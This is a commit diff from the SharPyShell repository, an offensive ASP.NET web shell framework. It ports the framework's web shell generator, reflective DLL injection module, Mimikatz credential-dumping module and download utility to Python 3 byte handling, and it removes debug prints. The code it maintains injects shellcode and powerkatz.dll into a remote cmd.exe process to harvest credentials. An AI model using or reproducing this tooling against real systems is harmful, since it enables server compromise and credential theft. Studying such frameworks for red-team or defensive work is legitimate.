STRLCPY/SharPyShell

■ ■ ■ ■ ■ ■

core/Generate.py

		skipped 49 lines
50	50		xored.append(hex(x ^ ord(y)))
51	51		return '{' + ",".join(xored) + '}'
52	52
53		-	def generate_byte_file_string(byte_arr):
54		-	output = [str(hex(byte)) for byte in byte_arr]
55		-	return '{' + ",".join(output) + '}'
56		-
57	53		if 'aes' in self.__encryption:
58	54		dll_name = 'runtime_compiler_aes.dll'
59	55		else:
		skipped 6 lines
66	62
67	63		def __generate_webshell_code_ulong_compression(self, template_code):
68	64		def get_dll_code(dll_code_path):
69		-	with open(dll_code_path, 'r') as file_handle:
	65	+	with open(dll_code_path, 'rb') as file_handle:
70	66		dll_code = file_handle.read()
71	67		return dll_code
72	68
		skipped 44 lines

■ ■ ■ ■ ■ ■

modules/download.py

		skipped 110 lines
111	111		return output_file_size
112	112
113	113		def __write_local_file(self, file_content, output_path, split=False):
114		-	print(type(file_content))
115	114		if split:
116	115		file_open_mode = 'ab'
117	116		else:
118	117		file_open_mode = 'wb'
119		-	print(file_open_mode)
120	118		with open(output_path, file_open_mode) as outfile:
121	119		outfile.write(bytes(file_content, "utf-8"))
122	120		output = "File Downloaded correctly to " + output_path
		skipped 59 lines

■ ■ ■ ■ ■ ■

modules/inject_dll_srdi.py

		skipped 37 lines
38	38		functionHash = 0
39	39
40	40		for b in function:
41		-	b = ord(b)
42	41		functionHash = ror(functionHash, 13, 32)
43	42		functionHash += b
44	43
45	44		moduleHash = 0
46	45
47	46		for b in module:
48		-	b = ord(b)
49	47		moduleHash = ror(moduleHash, 13, 32)
50	48		moduleHash += b
51	49
		skipped 5 lines
57	55		functionHash = 0
58	56
59	57		for b in function:
60		-	b = ord(b)
61	58		functionHash = ror(functionHash, 13, 32)
62	59		functionHash += b
63	60
		skipped 81 lines
145	142		# RDI shellcode
146	143		# DLL bytes
147	144		# User data
148		-	return bootstrap + rdiShellcode + dllBytes + userData
	145	+	return bootstrap + rdiShellcode + dllBytes + str.encode(userData, 'utf-16-le')
149	146
150	147		else: # 32 bit
151	148		rdiShellcode = rdiShellcode32
		skipped 65 lines
217	214		# RDI shellcode
218	215		# DLL bytes
219	216		# User data
220		-	return bootstrap + rdiShellcode + dllBytes + userData
	217	+	return bootstrap + rdiShellcode + dllBytes + str.encode(userData, 'utf-16-le')
221	218
222	219
223	220		class Inject_dll_srdi(Inject_shellcode):
		skipped 79 lines

■ ■ ■ ■ ■ ■

modules/mimikatz.py

		skipped 125 lines
126	126		dll_name = 'powerkatz.dll'
127	127		exported_function_name = 'powershell_reflective_mimikatz'
128	128		log_file = self._module_settings['env_directory'] + '\\' + random_generator()
129		-	exported_function_data = str(('"log ' + log_file + '" ' + custom_command + '\x00').encode('utf-16-le'))
	129	+	exported_function_data = '"log ' + log_file + '" ' + custom_command
130	130		if username == '':
131	131		print ('\n\nInjecting converted DLL shellcode into remote process...')
132	132		response = self.inject_dll_srdi_module_object.run([dll_name, 'remote_virtual', 'cmd.exe', '60000', '{}',
		skipped 34 lines

■ ■ ■ ■ ■ ■

utils/gzip_utils.py

		skipped 10 lines
11	11
12	12
13	13		def get_compressed_base64_from_binary(bin_bytearray_input):
14		-	print(base64.b64encode(gzip.compress(bin_bytearray_input)).decode())
15	14		return base64.b64encode(gzip.compress(bin_bytearray_input)).decode()
16	15